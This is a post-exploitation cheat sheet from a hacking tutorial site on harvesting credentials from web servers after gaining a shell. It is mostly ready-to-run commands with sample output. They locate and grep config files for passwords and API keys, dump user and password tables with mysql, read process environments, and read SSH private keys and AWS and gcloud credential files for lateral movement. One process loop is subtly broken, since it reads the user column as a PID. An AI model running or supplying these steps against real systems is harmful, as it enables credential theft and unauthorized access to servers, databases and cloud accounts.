Skip to content
HackIndex logo

HackIndex

Credential Harvesting from Web Configs

3 min read Apr 24, 2026

Web application configuration files contain the most reliable credentials on a target — database passwords, API keys, SMTP credentials, and cloud access tokens that must exist for the application to function. These rarely change and are often reused across services. Collect them immediately after gaining shell access, before attempting privilege escalation.

Find Configuration Files

Locate common config file locations across all web applications on the server:

user@host ~ $ find /var/www /srv /opt /home -name '.env' -o -name 'config.php' -o -name 'database.yml' -o -name 'settings.py' -o -name 'web.config' -o -name 'application.properties' -o -name 'config.yml' 2>/dev/null 
/var/www/html/.env
/var/www/html/config/database.yml
/opt/app/settings.py
user@host ~ $ find /var/www /srv /opt /home -name '*.conf' -o -name '*.cfg' -o -name '*.ini' 2>/dev/null | grep -v '/proc/' | head -20

Extract Credentials from Common Config Formats

user@host ~ $ cat /var/www/html/.env 
APP_KEY=base64:abc123==
DB_HOST=127.0.0.1
DB_DATABASE=webapp
DB_USERNAME=webapp_user
DB_PASSWORD=SuperSecret123!
MAIL_PASSWORD=smtp_password
AWS_ACCESS_KEY_ID=AKIA...
AWS_SECRET_ACCESS_KEY=wJalr...
user@host ~ $ cat /var/www/html/config.php | grep -iE 'pass|user|host|key|secret|token' 
$db_host = 'localhost';
$db_user = 'root';
$db_pass = 'r00tpassword!';
$api_key = 'sk-prod-abc123xyz';
user@host ~ $ cat /var/www/html/wp-config.php | grep -E "DB_|table_prefix|AUTH_KEY|SECURE_AUTH" 
define('DB_NAME', 'wordpress');
define('DB_USER', 'wp_user');
define('DB_PASSWORD', 'wp_password123');
define('DB_HOST', 'localhost');
user@host ~ $ cat /opt/app/settings.py | grep -iE 'password|secret|key|user|host' 
SECRET_KEY = 'django-insecure-abc123'
DATABASES = {'default': {'PASSWORD': 'db_password_here'}}

Search all web application files recursively for credential patterns. This catches credentials embedded in source files outside of dedicated config files:

user@host ~ $ grep -rn --include='*.php' --include='*.py' --include='*.rb' --include='*.js' --include='*.yml' --include='*.yaml' --include='*.conf' --include='*.env' -iE '(password|passwd|pwd|secret|api_key|apikey|auth_token|access_key)[[:space:]]*[=:][[:space:]]*["'"'"'][^"'"'"']{4,}' /var/www/ 2>/dev/null | grep -v '.min.js' 
/var/www/html/includes/db.php:3:$password = 'admin123!';
/var/www/html/.env:8:DB_PASSWORD=SuperSecret123!

Database Credential Reuse Testing

Use extracted database credentials to connect directly and dump further data:

user@host ~ $ mysql -u webapp_user -pSuperSecret123! -h 127.0.0.1 webapp -e 'SELECT user,password,email FROM users LIMIT 20;'
user@host ~ $ mysql -u root -pr00tpassword! -e 'SELECT user,authentication_string FROM mysql.user;'

Environment Variables

Running processes may have credentials injected through environment variables not visible in config files. Check the web server process environment:

user@host ~ $ cat /proc/1/environ | tr '\0' '\n' | grep -iE 'pass|key|secret|token|api'
user@host ~ $ ps aux | grep -iE 'php|python|ruby|node|java' | awk '{print $1}' | sort -u | while read pid; do cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'pass|secret|key|token'; done

SSH Keys and Cloud Credentials

Check home directories reachable from the web server user for SSH keys and cloud credentials:

user@host ~ $ find /home /root /var/www -name 'id_rsa' -o -name 'id_ed25519' -o -name '*.pem' -o -name 'credentials' 2>/dev/null 
/var/www/.ssh/id_rsa
/home/developer/.ssh/id_rsa
user@host ~ $ cat /var/www/.ssh/id_rsa 2>/dev/null && cat /home/*/.aws/credentials 2>/dev/null && cat /home/*/.config/gcloud/application_default_credentials.json 2>/dev/null

A readable SSH private key allows direct SSH login as the key owner. Test immediately against the target itself and any other hosts discovered through network enumeration. Cloud credentials enable lateral movement into the cloud environment from your Kali machine.

References